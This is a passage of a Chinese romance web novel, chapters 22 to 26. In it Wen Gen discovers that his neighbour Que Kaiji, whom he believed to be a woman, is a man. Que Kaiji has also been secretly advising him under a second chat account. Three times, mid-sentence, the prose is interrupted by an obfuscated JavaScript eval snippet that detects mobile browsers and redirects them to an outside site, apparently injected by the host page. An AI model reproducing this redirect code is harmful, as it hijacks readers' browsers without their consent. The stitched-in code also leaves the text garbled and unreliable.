闻根不好意思:“就是家常味道。我也不会做,是小时候我爸喝醉酒我妈会给他做这个解酒,但我没敢和我妈说昨天去喝酒了,自己试着做了一下,味道就淡了。” “没事,我之前也没吃过。” 阕开霁神色淡然,“你爸妈很关心你。” “嗯,有些事情上就管得很严。” 闻根没吃疙瘩汤,甚至没看对面的阕开霁,只是垂着头,绞尽脑汁的想。他实在缺少和女生打交道的经验,更不知道怎么面对昨天还在和自己接吻的女孩。最最关键的是,现在他的性向还不一定完全调理好了,而阕开霁看上去好像完全忘了昨天的事情。 他自觉铺垫好了,笨拙试探,“上学工作要认真,恋爱的话要确定关系才能有亲密接触。你家呢?” 在单位把公文写得那么漂亮,怎么现在这么呆。说着像是试探,实际上和直接询问“我们现在是什么关系”有什么区别。 阕开霁眼里蕴了点笑意,但和笑意一起涌上来的是点说不定道不明的委屈,好像心都被番茄汁泡酸了。 明明都这么多年了,怎么会突然涌上来这么陌生的感觉。 阕开霁不明白,但顺从本心,回答闻根:“我家没什么规矩。” 他搅拌着碗里的疙瘩汤,又吃了一口,声音松快,“爸妈都不在了,没人管我。” 闻根没想到这个回答,在桌子对面整个呆成木头,死鱼眼都放大了。 虽然是意料之中的反应,但真的看到,阕开霁还是觉得有点有趣。 不过也笑不出来,只觉得心里更酸了,他低头接着喝疙瘩汤。 闻根声音很轻:“对不起。” 他一直以为阕开霁生活在一个很开明浪漫的家庭,中俄混血,父母一定非常相爱又非常尊重孩子,才能让他这么优秀这么自由。 阕开霁:“没事,很久之前的事情了。” 闻根忍不住想阕开霁和自己说过的有关家里的事。 十岁才来中国,初中逃课去夜市买首饰赚钱,高中成绩不好就不读了——那时闻根只觉得对方的父母能同意他不读书一定是因为非常尊重孩子兴趣,现在想想,阕开霁一开始说的就是,中国对九年义务教育很看重,所以才把初中读完的。也就是说,他很可能……初中就一个人了。 再想到阕开霁手心里的厚茧,闻根有点缺氧似的头晕,他只能深深喘了口气,这才觉得清醒一点。 对面阕开霁还在喝疙瘩汤,上面飘着红色辣椒油。 闻根不自觉想到,刚刚阕开霁说他也没吃过,是说没吃过这么简陋的疙瘩汤,还是没吃过家常味道。他整个人都不知所措起来,再次道歉:“对不起啊。” “真没事,过去很久了。” 闻根忍不住:“多久?” 阕开霁捏着勺子,看他,眼睛依旧是雾蒙蒙的蓝灰色:“你好奇?” 闻根嗓子一干,艰难找回自己的声音:“我在意。” 23. 第 23 章 好奇。 在意。 阕开霁在心里咂摸着这两个词,用自己九年义务教育学到的语文知识,判断了语境。 片刻后缓缓开口,回答闻根:“十六年前,我十岁的时候。” ——十岁,是因为父母都不在了,所以才来中国的? 好像看出闻根的猜测,阕开霁接着说下去:“你知道梁祝的故事吧。” 闻根点头。 “我爸是俄罗斯人,来中国留学遇到我妈。但是家里给我爸订了婚,不愿意接受他们。” 阕开霁弯了弯眼睛,但眼睛里没什么笑意,“我其实不太知道他们之间的事,但大概就是这样,我出生之后就在俄罗斯,一直没见过我妈。我问我爸,我爸说她在中国,在等我们。” “十岁那年他好像终于抗争成功,说要带我回中国找我妈,说以后我们就一直在中国生活。但等到来了之后才发现,我妈早就去世了。” “她大学读野生动植物资源保护与利用,回国后大部分时候都在野外工作,去世后,她的骨灰就在她研究勘探的山谷里。我爸……知道这件事后就跳崖了。” “那是我第一次知道梁祝的故事。我妈同事给我讲的,她带我看蝴蝶,哄我说我不是没爸爸妈妈了,只是他们都变成蝴蝶在陪我。” 阕开霁声音很轻快,突然顿了一下,带上点刻意的笑意,问闻根,“你哭什么?” 闻根摇头,声音很闷:“没哭。” 可他镜片上分明还挂着一滴眼泪。 阕开霁再次强调:“很久之前的事了——所以我家没那么多规矩,我也不是很懂。” “如果你愿意教我的话……” 闻根现在好像置身珠穆朗玛峰,因为缺氧脑子都不清醒了,根本想不到任何东西,更不知道自己要教阕开霁什么。 他觉得自己什么都教不了,自己实在是个太平凡的人了,自己不知道阕开霁经历了什么样的痛才成为现在这样漂亮的蝴蝶,也不知道阕开霁看到的世界是什么样的。 而且……阕开霁经历这么多事情,见到过这么刻骨铭心的爱情,一定看不上自己这么平淡庸俗的喜欢。 蝴蝶抖落翅膀愿意洒给他一些花粉已经足够慈悲了,他居然还想追问他们之间是什么关系。 闻根很难过,不是因为自己和阕开霁之前的差别,而是心疼阕开霁。 十岁那年,他跟着爸爸来到中国,应该是期待会见到妈妈,一家三口开始幸福生活。 但他不仅没见到妈妈,甚至还失去了爸爸。 睫毛上下忽闪着,在镜片上留下水汽,片刻凝结成一滴,顺着镜片滑下去。 阕开霁看着那滴眼泪在镜片上留下的痕迹,看那滴眼泪掉下去,落在闻根手臂上,溅出碎玉般的星点,好像一只只蝴蝶振翅。 心头一动,有点说不出的感觉。 但心口那点莫名其妙涌上来的、不知道闷了多久的陈年委屈就散了。 阕开霁勾了勾嘴角,问:“心疼我?” 闻根点头:“嗯。” 阕开霁把勺子一放,揣着手倚在沙发上,明明坐在那么矮的凳子上,但气场十足,带着点蛊惑人心的味道,问闻根:“现在你知道了,我家没人管我,那按照你家的规矩,我们现在是什么关系?” 如果是十分钟前的闻根,现在即使羞耻得要命,大概也可以表面一本正经告诉阕开霁,虽然昨天晚上他喝了酒,但根本没有喝醉,在清醒状态下的接吻,是只有男女朋友才可以做的事情。 但现在他不敢说了。 阕开霁已经见过那么决绝壮烈的爱情了,他觉得自己的喜欢非常不坚定,就连性向都不是坚定的直男,配不上阕开霁。 而且,酒吧里那些人不认识,还能一起玩一起喝酒一起接吻。阕开霁说自己经常去酒吧,也知道陌生人也会一起玩一起接吻。 他会不会觉得在酒吧接吻是一件非常平常的事情啊。他都经历过那么多事,和邻居接吻,应该也不能算是什么大事。 但这对闻根来说,就是非常重要的事。 他第一次这么喜欢一个人,第一次和一个人接吻,也是第一次,单是想到另一个人的遭遇,就心疼得喘不过来气。 他没有办法,工蚁没办法知道蝴蝶在想什么,他只能询问:“一定有很多人喜欢你。昨天在酒吧……你说和陌生人一起喝酒接吻是可以的,反正就是玩玩……” 他其实想问,那我们之间的喝酒接吻,是不是也属于“玩玩”。 这种可能实在是太悲哀了,单是想想闻根都很难受。 工蚁有工蚁趋利避害的本能,他忍不住顿了一下,害怕听到肯定的答案。 但阕开霁不知道他的卡顿,按照正常人的思维想了下未完之意。 阕开霁回答:“我没和其他人玩过。” 闻根看阕开霁。 镜片后面的死鱼眼沾了水,看上去又呆又灵,跟深夜倒映着星光的海面一样。 阕开霁补充:“也没亲过其他人。” 闻根嘴唇微动,忍不住问:“为什么?” “很无聊。” 阕开霁理所当然,“当过历经时间距离仍然至死不渝的爱情的见证,就觉得那种酒精和氛围催生出来的冲动很可笑。” 闻根更不理解了,他的瞳孔都开始颤了,甚至呼吸都艰难起来,需要胸腔不停起伏才能感觉到新鲜空气。 “那昨天……” 昨天亲自己,又为什么? 不是酒精和氛围催生出来的冲动吗? 阕开霁看他,莫名其妙问他:“如果我死了,你会怎么办?” 闻根从来没想过这个问题。 在他普通人的认知里,自己现在只是单恋,甚至还没办法确定自己的性向。最后能完全调理好并真的走好运和阕开霁在一起的可能性实在是太小了,他不会花时间想和阕开霁在一起的事情——这对他来说算一种幻想。 更不会花时间想,万一阕开霁死了,自己会怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716887|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办。 他试图去想。 但刚想到这个可能,好不容易缓过来的呼吸又完全乱了。 他潜意识规避这个可能。 但阕开霁还在等他的答案。 ——这个问题的答案好像非常简单,不管是梁祝,还是那么多偶像剧,甚至阕开霁父亲本人,都给了完美范本。 你死了,我不独活,和你一起死去。 但闻根根本没办法想这个可能,更不想假设阕开霁会死。 他逃避:“我不知道。” 阕开霁笑了下:“挺好。” 闻根看他:“你……” 你想我说什么? 他没问出来。 因为阕开霁探身,越过他不算大的茶几,手掌按住他的后脑勺,飞快亲了下他的嘴唇。 阕开霁鼻梁太挺,贴过来时撞歪闻根的眼镜。 闻根什么都看不到,只听到阕开霁说。 “你活下去。” 闻根完全没反应过来,只来得及眨了眨眼。 阕开霁说了那么一句后,收回手重新坐回去,很坦然的告诉他:“因为喜欢你。” 闻根更反应不过来了,整个人木头一样呆坐着,好一会儿,才把眼镜推回正常位置,颤着瞳孔小心翼翼看阕开霁,死鱼眼里甚至不是震惊,而是疑惑。 疑惑自己是不是幻听,疑惑阕开霁是不是在逗自己玩。 阕开霁满意的看着他的反应,接着喝疙瘩汤,又问闻根:“你是还喜欢我吧?” 闻根下意识点头,看到阕开霁眼里的笑意,纠结许久,终于还是忍不住,问阕开霁:“我吗?” 阕开霁点头。 “为什么?” 闻根不理解,“我非常普通,我还……我还病了,那么多人喜欢你,你可以找到更好的人。” 阕开霁:“你只是过着普通的生活,但一点都不普通。至于更好的……我喜欢你,你就是最好的。” 闻根头一次听到这么直白的情话——对他来说已经是非常直白的情话了。他整个人都热起来了,但这时候又想起自己还没完全调理好的同性恋倾向。 他结结巴巴提醒:“我病了。” “不是不举就好。” 阕开霁扫了他一眼,也提醒,“我可能和你想象中的不一样,你知道真实的我之后……不要失望。” 闻根下意识说:“我本来也不了解你。” 说完后他又觉得自己很蠢。 为什么自己不能像阕开霁那样说情话,像偶像剧那样,说不管你是什么样的我都喜欢,为什么自己要说本来就不了解他啊。 但他确实本来就不了解,阕开霁也和他想象中的完全不一样。 想象中阕开霁是娇生惯养的蝴蝶公主,但实际上完全不是。 可现在多了解一点,就多喜欢一点。就算知道完全真实的阕开霁,大概也只会更喜欢,怎么会失望。 于是他艰难补了一句:“所以不会失望。” 24. 第 24 章 闻根和喜欢的女孩互相喜欢。 按照他普通人的逻辑,这时候应该、大概、好像,可以恋爱了。 但他担心自己的性取向,再加上阕开霁说自己和他想象中不一样,两相叠加起来,两人并没有确定恋爱关系。 虽然没有恋爱关系,好像还有很多秘密和没完全解决的问题,但爱情的火苗烧空了闻根的理智。 他首先向神医分享了自己的喜悦,然后陷入了更深的焦灼,忍不住询问神医:“有没有更高效一点的药?我一定要赶快调理好,不能让她难过。” 神医——也就是阕开霁,本人还穿着睡袍坐在闻根家沙发上。 看到消息,侧目看旁边的闻根。 闻根正亮着眼睛,既紧张又期待的盯着手机。 阕开霁把消息拉到上面闻根刚醒来时发过来的消息,假装自己刚醒,引用闻根“她亲了我”这一句,询问:“接吻是什么感觉?” 闻根的手机一下就掉到地上了。 阕开霁把手机暗灭,假装一无所知看过去,问:“怎么了?” 闻根整个人都是红的,一面低头捡手机一面连连摆手:“没什么。” 阕开霁没再问,看他捡起手机,重新拿起自己的手机,等闻根的消息。 平凡小闻开始“对方正在输入”了。 阕开霁又发消息:“嗯?和喜欢的人接吻是什么感觉?” 闻根这次淡定了一点,起码手机没掉地上了。 但还是一点都不淡定,就连呼吸都开始急促。 阕开霁把戏演得很全,好像刚醒来顺着第一条消息往下看,又问了一句后才引用闻根“她说她喜欢我”这条消息,发了个鼓掌的表情包。 又问:“和喜欢你的人接吻是什么感觉?” “和我说说。” 闻根强忍着羞耻回答:“有点上瘾。” 上瘾…… 阕开霁看着这个形容,翘着嘴角看旁边的闻根。 死鱼变成了被煮熟的虾子,整个人都红了。 = 发现阕开霁也喜欢自己之后的日子并没有太大的变化。 只是两人的联系更多了。 白天遇到有趣的事情告诉对方,微信挂在电脑上,看到阕开霁发了消息就马上回复。 等到晚上下了班就和阕开霁一起去吃饭。 有时候阕开霁不忙,吃完饭就跟他一起回家。有时候阕开霁忙,吃完饭还要接着忙工作,闻根就自己回家。 还有时候阕开霁下班早,去逛超市,实时报导,买什么面粉,什么样的番茄更酸甜多汁,什么样的青菜更爱吃。 买了很多东西回家,又问闻根电磁炉怎么用,面絮怎么搅拌。 闻根一五一十告诉他。 等到下班回家,就吃到了阕开霁亲手做的疙瘩汤。 闻根觉得阕开霁做的比自己做的好吃,很给面子的吃了满满一碗。 晚上依旧各回各家,好像只是最普通的邻居。 不过每次各回各家时,他俩总像亲嘴鱼一样,接很长时间的吻。 闻根是个普通人,他用自己普通人的思维想了想,觉得还没有确定关系,就这么接吻不太好。 但每次一对上阕开霁,他的决心和理智就消失得无影无踪。 好几次之后,他觉得自己实在是太没出息了,试图寻求神医的帮助。 但中药世家继承人态度淡定:“你不喜欢吗?” 闻根结结巴巴吭吭哧哧:“喜欢。” “你们不是互相喜欢吗?” 闻根红着脸甜蜜:“互相喜欢。” “那也就只是没确定关系,问题不大,享受就好了。” 闻根就开始享受。 他一开始就觉得和阕开霁接吻有点上瘾,又接过几次后,在心里把“有点上瘾”改成“很上瘾”。 在一起,吃饭打电话接吻。 是闻根从来没想过的生活。 他甚至有种恍惚感,总觉得他们已经在恋爱了,而这样的生活非常不真实,好像两个月前怀疑自己是同性恋纠结无助已经是上辈子的事了。 幸福的日子总是过得很快。 闻根怕热,也怕蚊虫叮咬,以往每年夏天都觉得难熬。 但今年,初夏他遇到阕开霁,盛夏听阕开霁说喜欢自己。 在闻根陷入爱情的甜蜜不可终日时,夏天一甩尾巴,在他的幸福中溜走了。 阕开霁的生日也快到了。 ——闻根知道阕开霁的生日。是上个月一起吃饭时提到本帮菜,闻根推了家餐厅,说奶奶觉得这个口味最正宗,每年过生日都喜欢到这家店吃,提到奶奶生日,顺便交换了彼此生日。 闻根二十多年的生日基本都是和家人一起过的,提前几天就会有朋友约他吃饭给他送礼物庆祝生日。在他朴素的想法里,生日是很重要的一件事。 但阕开霁说在他的记忆里,他没过过生日。 闻根听到后心都要痛死了,立即保证今年自己会和他一起过生日。 回去后就开始准备生日礼物和生日那天的安排。闻根问了单位所有同事,问了自己所有恋爱过的朋友,最后和中药世家继承人一起挑了很久,选了个实用的按摩梳当礼物。 他自己又挑了很多好看的头绳好看的发箍好看的项链手链戒指。那整一周快递小哥每小时给他打一个电话,告诉他有新快递上门。 闻根还特地周末回了趟奶奶家,学习怎么做长寿面,怎么和面怎么擀面怎么煮才好吃。还在小红书上找了很久,找了家最好吃最好看的蛋糕店,订上了六寸生日蛋糕。 总之就这么把一切都准备得非常完美,时间很快就到了阕开霁生日这天。 这天是工作日,但闻根满脑子都是阕开霁,根本不想工作,所以干脆请了假。 他工作之后勤勤恳恳从不请假,偶尔甚至会帮同事值班,这还是第一次请假,主任以为他遇到什么大事,非常爽快的批了假。 这天闻根依旧早起,和蛋糕店老板沟通,确定蛋糕没问题能在准时送达,又把自己的生日礼盒重新打开看。 按摩梳没问题。 各种首饰也没问题。 他甚至还做了一碗长寿面,确定自己还是会做的,而且味道还不错,这才松了口气。 把一切都确定好,他这才拿出手机询问阕开霁:“你今天有时间吗?” 阕开霁——阕开霁之前确实从来不过生日,对生日这一天没什么概念。之前每一年生日,也都和普通一天没什么区别,很随意的就过去了。但今年,闻根从知道他生日那天就在他耳边絮叨着要给他准备生日——当然不是直接在他面前说,而是和中药世家继承人的身份说,今天说知道邻居生日了要给邻居过生日。明天说要送什么生日礼物比较好。花了几天时间终于敲定送个有用又能经常用,能让邻居一用就会想到他的东西,又开始寻找什么牌子的按摩梳好。终于挑好生日礼物,又开始思考蛋糕是什么样式,生日那天吃什么饭。 第一次有人这么期待他的生日,还要在他面前一再提起,阕开霁在闻根一次又一次的念叨中,终于把自己的生日记下来了。 于是生日这天,他早早起床,等待着闻根的安排。 他本人的账号没有任何消息。 但中药世家继承人的号一直有消息发过来。 醒了。 蛋糕没问题能安全准时送到。 礼物也没问题。 长寿面也没问题,做得不是很好吃,但还能入口。 一切都没问题,自己要问问邻居什么时候有时间了。 阕开霁精神一振,切换另一个账号。 闻根斟酌了语气,刚把消息发出去,阕开霁的消息就马上弹出来:“现在就有时间。” 闻根没在意他过快的打字速度,只有要帮阕开霁过生日的激动,他询问:“那中午能一起吃饭吗?” 阕开霁的消息又很快弹出来:“可以。” 一切和闻根计划得一样,甚至比闻根计划中还要顺利很多。 他们一起吃了饭,在外面看了电影,闻根还送了阕开霁一束花。 晚上回家,蛋糕刚好送过来,闻根亲手给阕开霁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716888|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做了碗长寿面,并把自己准备了这么久的礼物双手奉上。 阕开霁吃了他做的长寿面,一边吃一边看他,蓝灰色眼睛好像一汪湖泊,水里的鱼一摆尾巴,湖面就荡起一圈圈涟漪。又好像蓝闪蝶的翅膀,扑闪扑闪的,让人目眩神迷。 闻根整个人都恍惚了,不好意思:“不好吃吗?” 阕开霁摇头:“好吃。” “我之前从来没吃过。” 从知道阕开霁生日那天就在心里一再遗憾一再期待的事,现在被阕开霁这话一引,脱口而出:“以后每一年生日我都给你做。” 阕开霁问:“真的?” 闻根红着脸,磕磕绊绊保证:“如果你愿意的话,以后每一年生日,我都陪你一起。” 阕开霁看他,眼神里带着点闻根看不清的深沉和波动。 阕开霁说:“我愿意。” 闻根的心开始跳的很快。 一如他第一次见到阕开霁。 一如那天在酒吧,听到阕开霁说“闭眼” 一如听到阕开霁说“我喜欢你” 明明都知道阕开霁喜欢自己,但闻根整个人都不知所措起来。 看阕开霁把长寿面吃光,马上把蛋糕拿过来,插上蜡烛:“许愿。” 阕开霁看蛋糕上闪烁着的烛光,声音很轻:“会实现吗?” 闻根哽了一下,真诚:“可能不会,你可以告诉我,如果我能做到,就帮你实现愿望。” 阕开霁笑了下。 两个人靠得太近,现在中间就隔着一个蛋糕,阕开霁这么一笑,就好像一大簇开到最盛的玫瑰,劈头盖脸闷过来,闻根什么都想不起来了,只呆呆看着阕开霁。 阕开霁没有丝毫犹豫,一口吹灭蜡烛。 仰头看他,眼里带着笑意:“你要不要和我在一起。” = 天光大亮。 很熟悉的头疼,宿醉醒来的头晕恶心让闻根忍不住皱起眉毛,半睡半醒间抬手,按住眉心。 行动间好像有什么东西从胳膊上扫过去,软软的凉凉的,好像是头发。 闻根觉得有点痒,随着这点痒意一起到来的,是逐渐复苏的知觉。 身上盖的不是自己的毛毯被,而是轻得几乎感觉不到的重量。但很热,不仅是自己身上热,还有从被窝里传过来的热度。 闻根睁开眼,没带眼镜又刚睡醒,眼前一片模糊,但天花板样式告诉他这不是自己家。意识到这一点后,他偏头看,发现身边还有一个人,面对着自己睡得正香。 皮肤白得耀眼,棕色长发散下来铺在床上。 正是阕开霁。 这是阕开霁家里,自己不仅留宿了,还和她睡在同一张床上。 孤男寡女共处一室,鼻尖嗅到阕开霁身上还是床上的香味。 意识到现在是什么情况,闻根整个人都要炸开了。 太超过了。 这样不好,自己怎么能做这么唐突的事情。 他手忙脚乱想往旁边翻,但刚动一下,身上的被子跟着卷起来,他连忙停住,偏头接着看阕开霁。 刚刚盖到阕开霁肩膀的被子现在往下滑。 闻根连忙又翻回去,小心翼翼给阕开霁把被子拉上来。 这么一靠近,他意识到有什么不对劲。 谁在被窝里放了个矿泉水瓶啊,硬硬的硌着他的腰,还这么热。 不仅会硌着他,应该也会硌着阕开霁吧。 闻根小心翼翼给阕开霁盖好被子,又把手伸进被窝里,摸索着想把矿泉水瓶拿出来。 顺着自己的腰摸过去,拉住矿泉水瓶…… 也不对啊。 这个手感…… 怕吵到阕开霁,原本的动作就轻。现在一疑惑,脑子转不过来弯,手就控制不住的摸索抚弄,想根据触觉判断到底是什么东西。 疑惑间耳边传来沙哑闷哼。 他看阕开霁睁开眼,蓝灰色眼睛好像在下雨,雾蒙蒙的。 而他手里的“矿泉水瓶”。 跳了一下,又变大了。 ??? 25. 第 25 章 醒来没带眼镜,眼前一片模糊,脑袋还因为宿醉而晕晕乎乎。 但现在。 闻根只觉得眼前一黑脑子一空,就连呼吸都渐渐慢下来。 他只是个普通人。 不是个傻子。 手里这个东西,怎么摸都不可能是矿泉水瓶。 那究竟是什么就非常明显了。 那东西跟有生命一样在他手里跳着,散发着让人难以忍受的热度。 闻根脑子都木了,用仅有的一点理智分析。 首先,阕开霁是个女生。 女生不会有…… 那这个东西是自己的。 对,一定是自己的。 但为什么自己会没有感觉呢?不仅没感觉到有反应,甚至都没觉得被摸着? 闻根没办法说服自己,但实在想不到,如果这东西不是自己的,那事实上它会是谁的呢? 于是他艰难给自己找理由。 可能是昨天晚上喝太多了,酒精侵蚀他的脑神经,让他肢体麻木甚至出现幻觉了。 对,一定是这样的。 ——昨天晚上,阕开霁说了那句“你要不要和我在一起”后,闻根的一部分灵魂就飘起来了。 神魂颠倒。 比阕开霁说喜欢他那时还要更迷蒙。他完全失去理智和意识,只呆呆的看着阕开霁。 阕开霁也在看他,那双蓝灰色眼睛一眯,玫瑰花瓣一样的嘴唇翘起,问他:“要吗?” 闻根就什么话都不会说了,只知道傻傻点头。 然后阕开霁又开始亲他,鼻梁碰到他的眼镜,阕开霁干脆就把眼镜摘下来放在一边,吻得更深。 不管亲了多少次,闻根还是跟不上阕开霁的动作,很快就呼吸凌乱,只能微张着嘴巴小口喘气。 阕开霁把蛋糕切开,用勺子挖着喂给他吃。 但没吃多久又吻在一起。 蛋糕很甜,阕开霁也很甜,闻根咂摸着那点甜,觉得自己很渴。 但阕开霁家里根本没有热水,只有几瓶拆开的红酒。 阕开霁刚问他要不要在一起,他刚点了头,这么好的气氛,这么喜欢的人,闻根根本舍不得离开阕开霁家里,去自己家烧热水喝。 他就开始喝酒。 一开始是用酒杯喝,阕开霁家里有很多酒杯,他倒了满满一杯,根本没有细品红酒的味道,一饮而尽。 阕开霁又来亲他,挑着他的舌头,问他有没有喝醉。 闻根觉得自己没喝醉,就算是醉了,也不是因为这一点红酒,而是因为阕开霁。 但笨嘴拙舌,面对阕开霁的询问什么都说不出来,只是在阕开霁退开后,又给自己倒了一杯。 然后他喝了一杯又一杯…… 之后…… 就是现在了。 记忆里仅剩的零碎画面在脑海里一一闪过,闻根一时因为那些热烈的亲吻脸红,一时又非常确定。 自己昨天喝太多酒,把脑子和身体都喝傻了。 看,现在自己不仅没有知觉,就连触感都不是那么可信——自己哪有这么大啊。 回忆看上去漫长而亲密,但事实上,现实时间里只过去短短两秒。 这两秒里,闻根觉得手里那东西越来越硬,他甚至握不住,觉得掌心都被硌得疼。 而眼前,那双蓝灰色眼睛彻底睁开。 阕开霁声音沙哑:“你干嘛?” ——这是自己女朋友。 闻根脑子乱乱的,只这一句不停的回旋着,他一再告诉自己,这是自己女朋友。 但不知道为什么,并不是那么坚定。 他甚至觉得眼前模糊起来,脑子也开始混沌。 是自己女朋友吧。 是吧。 但为什么…… 他女朋友一向干净洁白的脸庞上,嘴唇那一圈,泛着青黑? 为什么他女朋友散开的领口下,胸膛起伏看上去那么雄壮? 而他手里这个东西……为什么是对着自己的? 手里那东西又跳了一下,好像装满水的矿泉水瓶结了冰,硬邦邦的。 但偏偏是热的,热得闻根手心开始发烫。 他下意识松了手,迅速把手背到身后握成拳头,好像这样就可以假装刚刚的触感根本不存在。 想到阕开霁刚刚沙哑的声音和问话,他同样哑着声音回答阕开霁:“我做噩梦呢。” 没等阕开霁再说什么,他自欺欺人的闭上眼,甚至忘了刚醒来时还想着不能和阕开霁同床共枕想下床回家给阕开霁做早饭。 闻根现在只想接着睡过去,醒来发现自己还在自己家里,而手机上阕开霁发消息说,自己昨天喝醉了,她费了很大力气才把自己送回家。 于是他酝酿睡意,回答的声音也轻轻的,不知道是在告诉自己还是告诉阕开霁:“等我醒了就好了。” 对,自己在做噩梦呢。 等醒了就好了。 但阕开霁还在问:“什么噩梦?” 闻根闭着眼,但薄薄一层眼皮下,眼珠子不停的转着,好像想到什么极可怕的事情,艰难告诉阕开霁:“我们床上还有另一个人。” 阕开霁没忍住笑了一下,然后才问闻根:“你说刚刚摸到的东西吗?” 闻根背到身后的手又开始发烫。 他拒绝回答。 但眼皮下的眼珠子转得更厉害,就连修长脖颈上的喉结也开始滚动。 “是真的。床上没其他人。” 闻根不吭声。 阕开霁坐起来,把床头柜上闻根的眼镜拿起来,给他戴上:“你自己看。” 闻根睁眼。 戴上眼镜后眼前异常清晰。 他看到阕开霁房间灰调的天花板,看到自己身上柔软的蚕丝被,看到阕开霁散落在床上好像开了朵花的长发。 房间确实没有其他人。 但那个矿泉水瓶还在被窝里,因为阕开霁坐起来,现在在他胸口的位置。 闻根的理智摇摇欲坠。 他甚至没摘眼镜,只闭上眼,声音紧绷的呢喃:“我真的在做噩梦。” 阕开霁提醒:“不是做梦,你醒了。” 又残忍告诉闻根,“你刚刚摸的就是我。” 闻根彻底崩溃了,他声音都劈了,第一次这么大声:“我就是在做噩梦!” 他翻身,背对着最大的梦魇,紧闭着眼睛用被子把自己裹起来,这时候又呆得像条死鱼了。 死鱼摇着尾巴往自己身上泼水,好像这样就能自欺欺人的告诉自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716889|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己,自己还没死,还在水里,还活着。 他坚信:“等我醒了就好了。” 阕开霁一开始想过很多他知道自己是男人后的反应。 但真的到了这一天,发现比自己想象中的还要……更有趣。 阕开霁下床,走到闻根那边坐下,看埋在被子里紧闭眼睛不肯面对事实的闻根,扒开被子低头亲了下他的额头。 闻根嗅到阕开霁身上的香味,从洒落在自己脸上的长发、从此刻扒着被子放在自己下巴的手上,幽幽传到鼻尖。 睡了一晚,被体温烘得暖融融的,异常温馨。 闻根在这股香味里找到一点点熟悉感,内心的摇摆渐渐放缓。 阕开霁看他眼镜下紧闭的眼皮细细颤着,感觉到他逐渐平缓的呼吸。 嘴角翘了翘,很刻意的用过了一晚长出来的胡茬蹭他:“那你接着睡吧,男朋友。” 如果心碎和精神崩溃有声音,那此刻一定震耳欲聋。 闻根再次崩溃了。 不到十分钟,大脑经历了太多波折,完全自暴自弃。 闻根就连自欺欺人都做不到了,他睁开眼。 眼镜尽职尽责让他看清眼前的一切。 阕开霁散在肩上的头发,还有唇周过了一夜长出来的胡茬,而因为俯身而敞开的浴袍底下,胸脯微鼓。 肌肉鼓起健壮但不夸张的弧度。 之前闻根只觉得阕开霁个子很高平时打扮很中性,但不管是长发、红唇,还是鼓起的胸脯,都让闻根无比确定,他一定是个女孩,所以他自动屏蔽了阕开霁沙哑的嗓音,也对阕开霁的喉结视若无睹。 但现在,不管是刚刚手心的触感,还是眼睛所看到的,都明晃晃昭示着。 阕开霁是个男人。 是个男人! 鼻梁那么高喉结那么突,睡了一晚上会长出胡茬。 就连…… 都比他还大! 死鱼眼剧烈颤着,闻根控制不住面部表情,甚至眼下肌肉也跟着颤,那颗泪痣哆嗦着,好像湖泊里被雨打得到处游走的小鱼。 阕开霁看了一会儿,转过身背对着闻根。 闻根听到阕开霁说话:“昨天喝那么多酒,现在头疼了吧?我给你做个早饭。” “你昨晚吐了,衣服弄脏了没法穿,先穿沙发上的这套。” ——自己昨天晚上到底都做了什么啊?! 眼皮剧烈抖了两下,闻根快速睁眼想看沙发上的衣服是什么样的。 但先看到背对着自己的阕开霁。 他正在换衣服,此刻只穿了条睡裤,裸着上半身整理要换上的T恤。 棕色长发散落在肩膀上,闻根看到他紧实的肌肉线条,还有…… 肩膀上的蝴蝶纹身。 内心的废墟已经塌无可塌了,闻根只是灵魂出窍,失去所有感官。 他忘掉所有的一切,甚至没办法呼吸,就这么直愣愣盯着阕开霁肩膀上那个纹身。 一大一小两只蓝色蝴蝶,趴在宽阔又肌肉紧实的肩膀上,随着阕开霁的每一次动作动着,栩栩如生。 这么熟悉的纹身,只用一眼,闻根就认出来了。 时光倒流到最初,回到他怀疑自己是同性恋的起点。 Qamar。 26. 第 26 章 阕开霁换好衣服,离开时又看了眼闻根。 闻根已经不像刚刚那么崩溃了,整个人陷入种过度震惊后的茫然,完全就是一条死鱼了。 阕开霁确定,他看到自己的纹身了。 大概也知道自己就是那个让他怀疑自己是同性恋的Qamar了。 阕开霁心情不错推门走出去。 洗漱之后又看了眼房间门,拿出手机看了下。 闻根好像实在是太震惊了,甚至都没有给中药世家继承人发消息求助。 两人上次聊天还停留在昨天,闻根说一切准备就绪,自己要去给邻居过生日了。 中药世家继承人回复说“去吧。” 看看时间,阕开霁给对方发消息:“昨天怎么样?” 房间里,闻根死鱼一样侧躺着,明明阕开霁已经走了,但他的眼神还虚虚的停留在刚刚阕开霁站着的地方,好像还能看到阕开霁的背影。 还有他肩膀上那两个蝴蝶纹身。 